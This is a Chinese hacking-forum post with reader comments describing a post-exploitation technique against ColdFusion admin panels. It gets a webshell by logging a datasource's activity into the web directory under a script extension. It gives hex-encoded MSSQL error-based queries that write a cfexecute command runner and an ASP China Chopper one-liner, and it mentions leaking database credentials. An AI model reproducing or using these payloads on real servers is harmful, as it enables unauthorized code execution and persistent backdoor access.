COLDFUSION后台getshelll常见的方法就是添加计划任务,COLDFUSION(CVE-2010-2861) 本地包含利用方法drops里面也写了一种方法,但是这2中方法唯一缺点就是当web服务器无法对外访问时以上方法就失效了。所以来介绍一个当web服务器无法对外连接的geshell的方法。
老外写过一篇coldfusion后台getshell的方法,http://breenmachine.blogspot.com/2013/03/cool-coldfusion-post-exploitation.html。原理就是通过coldfusion后台数据源里面的查询功能来getshell,这里以mssql为例。
选择一个数据源,点开高级设置,勾选Log Activity ,指定日志文件到web目录下,并且可以自定义后缀名,懂了吧,这里是关键。查询语句,先贴老外的poc。
SELECT CAST( (SELECT TOP 1 (SELECT CAST(0x3c636665786563757465206e616d653d22633a5c77696e646f77735c73797374656d33325c636d642e6578652220617267756d656e74733d222f632064697222207661726961626c653d2264617461222074696d656f75743d22313022202f3e3c636664756d70207661723d22236461746123223e AS VARCHAR(4000)))) AS int)
我们转下码来看下,hex部分即为
<cfexecute name="c:\windows\system32\cmd.exe" arguments="/c dir" variable="data" timeout="10" /><cfdump var="#data#">
整个sql连接起来就是利用了性质类型mssql error based的注入技术,hex编码了,coldfusion的过滤器就失效了(coldfusion过滤器会过滤尖括号),转换为int的时候当然要报错,写进了日志文件,而日志文件又是可执行的脚本文件,O(∩_∩)O~。可是有没有觉得这个poc有点不给力?只能执行个cmd什么的,要是整个菜刀shell多好,是的,可以的,coldfusion一般会和iis或者apache整合,所以可以写个asp或者php的shell,然后为了提升权限可以再写个cfm的shell。只要将一句话
<%eval request("caidao")%>
给转成hex,然后按照上面poc的格式语句来查询下,
SELECT CAST( (SELECT TOP 1 (SELECT CAST(0x3C256576616C2072657175657374282263616964616F2229253E AS VARCHAR(4000)))) AS int)
shell就到手了。
并且里面还会爆数据库账号密码哟。
相关讨论:
1#
hacker@sina.cn | 2014-05-23 22:08
先顶再说 感谢分享
2#
DM_ (http://x0day.me) | 2014-05-23 22:35
不是可以后台添加任务远程下载webshell的么?
3#
milk | 2014-05-23 22:42
很赞的思路,先mark,之后找个测试一下
4#
if、so (no talk,but shell!!) | 2014-05-23 22:59
@DM_ 万一web服务器上不了网了,或者在dmz里面,不能对外连接